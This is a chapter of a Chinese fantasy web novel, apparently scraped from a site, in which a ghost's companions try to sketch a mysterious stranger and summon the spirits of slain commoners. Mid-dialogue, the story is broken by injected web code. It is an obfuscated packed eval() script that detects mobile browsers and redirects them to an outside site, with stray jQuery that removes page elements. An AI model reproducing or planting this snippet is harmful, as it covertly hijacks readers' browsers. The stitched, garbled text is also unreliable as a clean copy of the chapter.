“那这么说，嘉平公主她早就中了国师的招术，变成了白骨？”


    玉秋霜疑惑道：


    “可史书上为什么说她才是大擎最后一位国主，直到她病重无法上朝，才战乱四起，分崩离析的？”


    “而且，既然所有人都成了国师的傀儡，那你的尸体又是谁给收敛的？”


    金婉儿：“这个我就不清楚了。”


    那都是她死之后的事情了，她上哪能知道去？


    “你们好像忽略了什么，故事里还有一个人类。”


    莉莉丝出声道。


    “黎大夫你是说……那个给她们符纸的高人？”


    莉莉丝点头，她有一种莫名的直觉，或许，找到了那个人，这一切的疑团都能解释得开了。


    “对啊，我刚才怎么就没想到呢。”


    玉秋霜一拍脑袋。


    奇怪，这么重要的人物，他们怎么全都给忽略了。


    纵容的目光齐刷刷地看向金婉儿。


    “我就记得那人年纪不大。”


    金婉儿努力回想着。


    又补充了一句：“是个男的。”


    “？？？”


    “没了？”


    众人震惊。


    “都过去一百年了，我就看着他一次，还是黑天，我上哪去记那么清楚去？”


    要不是那人脸长的白她连估计连五官都看不清。


    那怎么办。


    莉莉丝捧着脑袋沉思。


    她只能查看灵魂生前的最后一段记忆，可金婉儿的灵魂早就碎的这一块那一块的了，根本没办法再去查看。


    金婉儿突然站了起来，她飘在上空，聪明的智商又占领了高地，想到了一个非常绝妙的办法。


    不过这个办法，好像有点麻烦。


    “要不，我说你们画。我尽量回忆那天晚上的人，你们把他画出来，没准暂们能找出那人的身份。”


    莉莉丝闻言，眼睛一亮，立刻坐直了身子，


    “这个办法可以！”


    她将双手交叠放在下巴下，认真思考起来谁能胜任这个任务。


    一旁的周游清了清嗓子，自告奋勇道：


    “让我来吧。”


    莉莉丝孤疑地看向她，“你确定？”


    她怎么记得这家伙画画技术并不怎么样，上次在学院里的课外活动上，连小朋友都会简笔画都能画得四不像。


    但周游的眼神里却充满了自信，这让莉莉丝不禁多看了她两眼。


    或许，她私底下偷偷联系了也有可能。


    “嗯，我确定。”


    她蹲在地上唰唰几笔，自信地丢掉的碎木片，展示了一下自己的画技，


    众人凑上前去。


    “这是……一只小鸟？”


    三九问她。


    “我怎么看着像匹战马。”


    玉秋霜分析道。


    “应该是饺子吧。”


    莉莉丝也不太确定，因为那图案实在是太抽象了。


    周游抱着手臂，震惊道。


    “你们怎么都没看出来？我画的明明是元宝！”


    众人：“……”


    实不相瞒，他们一点也没发现地上的作品和元宝有什么关系。


    周游掰断了手中的木片，蹲在一旁冷静。


    一点也不懂得欣赏，有人说她的画技形意皆具，可是要被装进画框裱起来的！


    莉莉丝语重心长地安慰她：


    “没关系，我觉得你的画……至少很有创意不是？”


    她是说，很有可能，在很多年以后，就会有无聊的人类专门开一个课题，来研究这种超脱现实的艺术形式，将其定义为“抽象元宝派”的先驱呢！


    周游：“……”


    谢谢，有被安慰到。


    “还是我来吧。”


    容翊翻出了纸笔，将它们铺在一块平整的石块上。


    “那个人眼睛是什么样子，长还是圆？”


    “嗯……应该是细长型的，双眼皮。”


    金婉儿努力回想着。


    容翊点了点头，笔尖轻触纸面，勾勒出轮廓。


    “鼻子呢？是高挺的还是稍微扁平一些？”


    容翊继续问道。


    众人屏息凝神，注意着他的动作。


    “鼻梁……嗯鼻梁……不高不低。”


    她想了想，“嘴也不大不小，不薄不厚。”


    容翊刚要下笔的手一顿：


    “……”


    莉莉丝：


    “可不可以认真思考一下再说啊，要不要这么随便！”


    金婉儿反驳：


    “他娘给他生的就这么随便，我就只能说的随便了。”


    众人：“……”


    好像很有道理的样子。


    众人围成一圈看着最终画成的画像。


    “长什么样啊？快让我看看？”


    蹲在一旁周游也不再假装冷静，挤了过来。


    “怎么都不说话？”


    她低头。


    ！！？


    “这画，”周游轻声嘀咕，


    “怎么长的人山人海的。”


    “确实，这个人类长的格外平均了点。”


    莉莉丝赞同地点头。


    画像上的人五官端正，实在是一点特色都看不出来。


    容翊放下笔，眉宇间闪过一丝无奈：


    “没办法，她描述的太过宽泛了，我只能尽力画成这样。”


    就连一旁的温尼迪也滑动着轮椅，凑近画像，仔细端详着每一个细节，用力摇了摇头。


    奇怪，人类不都是长这样的吗？至少她见过的的几个都是。


    “看来用画像找人这个线索是用不了。”


    玉秋霜叹气。


    “算了，既然画像这条路走不通，那我们就再想想别的办法吧。总不能就这么放弃。我总感觉，这个国师还没有死透。”


    容翊将铺在石块上的画像折起来递给莉莉丝。


    莉莉丝习惯性地伸手去接，突然容翊手上一滑，假装没有拿住，两人的手交握在一起，两人抬眼对视。


    路过的玉秋霜：“？”


    等会！！！


    她刚刚看见了什么？


    不是，你这个假动作也太假了吧？


    这手得抖到什么程度才能刚才那么老大的一张纸咻地一下就扎进土里？


    蹲在容翊肩膀的影魔冒出来的黑气好像更浓郁了些。


    有时候，真的挺难理解这些人类的。


    真的。


    某些家伙本来就是个披萨还怕什么露馅啊？


    容翊没有理会他们，觉得自己的的动作天衣无缝。


    他握着莉莉丝的手，弯腰去用另一只手去捡底上的画像，刚一伸手，画像就自动升起飞到了容翊的手边。


    容翊：“？？？”


    难道是，他觉醒了某种天赋？


    他再次伸手，想要试验一下自己的猜测，就在他犹豫的功夫，


    画像像是活过来了一般，开始剧烈抖动起来。


    容翊：“！！！”


    “咪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220898|141703||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瓦咪瓦！”


    纸张动了动，下面供出来一个黑褐色的脑袋。


    原来是诺姆。


    容翊左右看了看，假装活动手指，趁没有人注意到他，迅速拿起画像。


    “咪瓦？米瓦米瓦米瓦！”


    诺姆见他接过画像，高兴地拉着他向他展示自己的劳动成果。


    “这是……你又将这些白骨重新安葬好了？”


    容翊震惊道。


    放眼望去，整个洞穴不知何时已被重新布置，原本散落一地的白骨与残骸竟奇迹般地消失无踪。


    取而代之的是一个个凸起的小土包，上面简单地插着些细长的树枝和木板，看起来既简陋又庄重。


    诺姆用力地点着头，自豪地伸出两只小手手叉腰。


    “你可真棒啊！”


    周游蹲下身，摸了摸诺姆的脑袋，软软的，潮乎乎的，就像是泥土一样。


    “不过，这里既然是大蛇的……金……墓地，为什么会有这么多其它人类的白骨呢？”


    三九将画像塞进口袋，疑惑道。


    “之前倒是听说过前朝好像有用活人殉葬的说法。”


    玉秋霜摸着下巴思考。


    众人审视地看向身后的金婉儿。


    金婉儿：“！！！”


    她退后了一大步。


    “不是，这跟我有什么关系？人与人之间能不能多一点信任啊！”


    莉莉丝：“话虽这么说，但是，第一，”


    “你不叫喂？”


    一旁的温尼迪飞快接话道。


    温尼迪：“！！？”


    她瞪圆了自己的鱼眼，怎么回事，她就想想而已，嘴怎么就自己说出去了？


    莉莉丝：“……”


    “这个嘛，问一问当事人就好啦！”


    莉莉丝松开容翊的手，走上前一步，将手中的那个在长平县地下一模一样的水晶球放到一旁的泥塑前。


    水晶球接触到泥塑的瞬间，发出柔和的光芒，仿佛与泥塑内部某种力量产生了共鸣。


    莉莉丝闭上眼，手指轻轻划过水晶球的表面：


    “魂魄归来，生命重燃。”


    周围的空气开始微微震动，一股温暖而神秘的力量从水晶球中溢出，缓缓渗透进泥塑之中。


    不过这次出现的灵魂有男有女，有老有少，但相同的是，他们也皆浑身浴血，手持武器，不似军人，却又带着来自战场上的不屈战意。


    “这些人怎么浑身都是血？还都是箭伤？”


    玉秋霜震惊地看着站在最前面的老妇人，她身上单薄的布衣布满了箭矢的孔洞，脸上却毫无痛苦畏惧之色。


    这些人分明都是普通百姓，这里又非边境，怎会遭遇如此大规模的屠戮？


    她想要上前仔细看看，脚下被什么东西给绊住。


    玉秋霜低头。


    “这是什么？”


    只见一截断掉的木片静静地躺在她脚边，是周游刚才画画的木片，上面似乎还刻着一些文字。


    “……变事战役殁者…位松井……”


    木片上的字和大雍文字有些相像，她磕磕绊绊地念着。


    众人的心中无端涌起一股莫名的寒意，她们环顾四周，发现地上散落着更多类似的木片，有的已经被彻底粉碎，字迹也模糊不清，但隐约能辨认出“变事”、“牺牲”等字样。


    一阵清风拂过，


    “他们也是前朝人。”


    温和的声音在众人耳畔响起。


    她猛地回头，却只见四周空无一人。